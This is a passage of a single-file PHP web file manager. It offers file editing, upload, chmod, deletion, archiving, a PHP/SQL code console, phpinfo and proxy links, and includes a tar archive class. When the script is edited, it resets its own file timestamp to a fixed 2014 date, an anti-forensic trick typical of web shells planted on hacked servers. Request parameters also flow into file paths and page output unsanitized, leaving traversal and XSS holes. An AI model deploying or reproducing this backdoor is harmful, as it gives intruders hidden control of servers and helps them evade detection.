	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/fahriyzx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
